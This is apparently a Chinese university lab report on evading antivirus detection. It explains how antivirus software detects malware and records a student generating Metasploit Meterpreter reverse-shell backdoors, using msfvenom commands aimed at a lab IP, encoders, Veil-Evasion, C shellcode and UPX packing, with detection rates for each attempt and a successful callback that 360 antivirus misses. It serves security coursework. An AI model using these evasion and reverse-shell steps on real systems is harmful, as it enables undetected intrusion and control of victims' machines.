20155232《网络对抗》Exp3 免杀原理与实践

问题回答

  • 1.基础问题回答

(1)杀软是如何检测出恶意代码的?


基于特征码的检测

特征码:一段特征码就是一段或多段数据。

如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。


启发式恶意软件检测

根据些片面特征去推断。

通用性,不精确。


基于行为的恶意软件检测

修改文件硬盘、连接恶意网站、修改注册表


(2)免杀是做什么?

通过一些手段来瞒过杀软的检测扫描。避免被杀毒软件查杀。

(3)免杀的基本方法有哪些?

改变特征码:如果有exe可以加壳,有shellcode可以用encode进行编码,有源代码可以用veil-evasion进行重写再编译。

改变行为

尽量使用反弹式连接、使用隧道技术

基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码

  • 2.离实战还缺些什么技术或步骤?

实战靶机不会乖乖被你植入一个后门程序,并没有这么理想的情况,也不可能出现让你多次尝试连接还没有被察觉的情况,难度就会大大加强。而且现在各种杀毒软件的病毒库在不断地更新,所以需要探索出新的方法在实战中去应用。

实践内容


1.使用msf生成后门程序的检测


直接用上个实验的20155232_backdoor.exe进行检测,但是提示说不能有数字,所以修改名字后检测:

  • 扫描结果:46%的杀软(18/39)报告发现病毒.

2.Msfvenom使用编码器生成meterpreter可执行文件

  • 可以尝试多编码几次比如10次,理论上肯定比一次好些...但上课时老师说编码器可能就本身会被发现。

    就多编码几次试试,看看能不能好点,就试十次吧:在指令里加上
i 10

  • 扫描结果:48%的杀软(19/39)报告发现病毒,所以这个方法并不够免杀。

使用命令

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.229.137 LPORT=443 -f war > java_backdoor.jar

生成jar文件

出现错误:

然后将名字进行修改即可,。。。

哇塞还不错哦

39个杀毒软件5个报毒。

将程序复制到带杀软的win10中,没有任何反应。

3.veil-evasion生成可执行文件


在尝试安装和下载veil的安装包进行安装失败

又使用命令sudo apt-get 也失败后,使用了从老师那里拷贝的虚拟机~

  • 命令行直接输入veil打开软件
  • 根据menu提示依次输入下面的指令

问题

之前在输入python的时候提示错误

use python/meterpreter/rev_tcp.py

解决

于是选择换成c,重复上面的操作,发现ok了,可以生成可执行文件啦。

  • 根据menu提示依次输入下面的指令


# list
# use 7
  • 接着是设置LHOST和LPORT
set LHOST 192.168.229.137
set LPORT 5232
generate

  • 设置你想生成的文件名

  • 成功~

  • 按照路径去复制此文件

注意

需要切换到图中标出来的目录才能找到此文件,在进行搜索:

  • 扫描一下:

在拷贝到win10的过程中,没有被拦截。

结果是比MSF进步了很多,只有8个引擎检测出来了有后门。

实验了一下360也没能查杀出来:

突然觉得360有点菜啊。。。。=v=!


4.C语言调用Shellcode


  • 下面指令会生成一个c语言格式的Shellcode数组。
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.229.137 LPORT=443 -f c

  • 使用命令将该C语言代码转换为一个可在64位windows系统下操作的可执行文件

VirSCAN.org检测结果如下:

  • 根据老师提供的链接下载安装vs。并且选择桌面开发c++。

  • 进行编译运行,生成了exe文件:

放在网站上扫描一下~

比之前少了很多~

还是不错滴~

  • 在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口,进行回连:

回连成功:

360依旧没有扫描出来~

5.加壳

  • upx是一种压缩程序,可以实现加壳的功能,这里简单介绍该指令加壳的命令格式:
upx 需要加壳的文件名 -o 加壳后的文件名

  • 检测一下

感觉没有太大的变化。。。哈哈哈加壳后查杀率不但没有减少反而相比上一个提高了,360也提醒我有木马病毒,让我赶紧清理。

说明这个方法实现不了免杀。。

6.通过组合应用各种技术实现恶意代码免杀

加壳+veil-evasion

在将生成的文件进行扫描:

跟上一种情况比起来差不多~哈哈哈哈

不过360没有扫描出来~

6.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

总结体会

在这次的实验里安装veil出现了不少问题,最终也没有解决,就用了老师的虚拟机。。。然后通过这次实验可以了解到,实现免杀的技术有很多种,需要慢慢学习和探索,很多免杀的方法见都没见过,有的也没有看懂,对于软件生成来说,很容易暴露特征,而自己手工编写更能实现免杀。最重要的电脑主机的杀毒软件需要进行更新,而且选择一个好的软件也很重要。

最新文章

  1. Adobe Audition音频制作
  2. textfield设置左边距
  3. 面试准备(四)Java基本数据类型
  4. python3的文件操作
  5. JavaScript要点(十三) HTML DOM EventListener
  6. Android多线程的研究(8)——Java5于Futrue获取线程返回结果
  7. Javascript闭包入门(译文)
  8. ConcurrenHashMap源码分析(二)
  9. 关于if后面直接加上参数名,不加条件的用法
  10. split host
  11. Java面试题和解答(四)
  12. JAVA线程池的实际运用
  13. 《Linux服务器的监控》
  14. maven学习之pom.xml或settings.xml对nexus的配置(转)
  15. JSON.parse()和JSON.stringify()的解析与用途
  16. CF1082解题报告
  17. C# Language Specification 5.0 (翻译)第三章 基本概念
  18. 为某金融企业的IT技术部人员提供基于TFS的软件研发流程介绍
  19. EJB3 jpa 数据库表的映射关系
  20. java程序性能优化读书笔记-垃圾回收

热门文章

  1. SurfaceView获取本地视频播放
  2. 用VisualAssist在Visual Studio上设置快捷键快速编程
  3. 【Redis】Redis学习(七) Redis 持久化之RDB和AOF
  4. Charles抓取https请求
  5. 基元用户模式构造--互锁构造 Interlocked 实现的异步web请求实例
  6. 转:把存储过程结果集SELECT INTO到临时表
  7. Java MySQL数据类型对照
  8. C# Excel操作类 ExcelHelper
  9. 1.1环境的准备(一)之Python解释器的安装
  10. DevExpress12、DocumentManager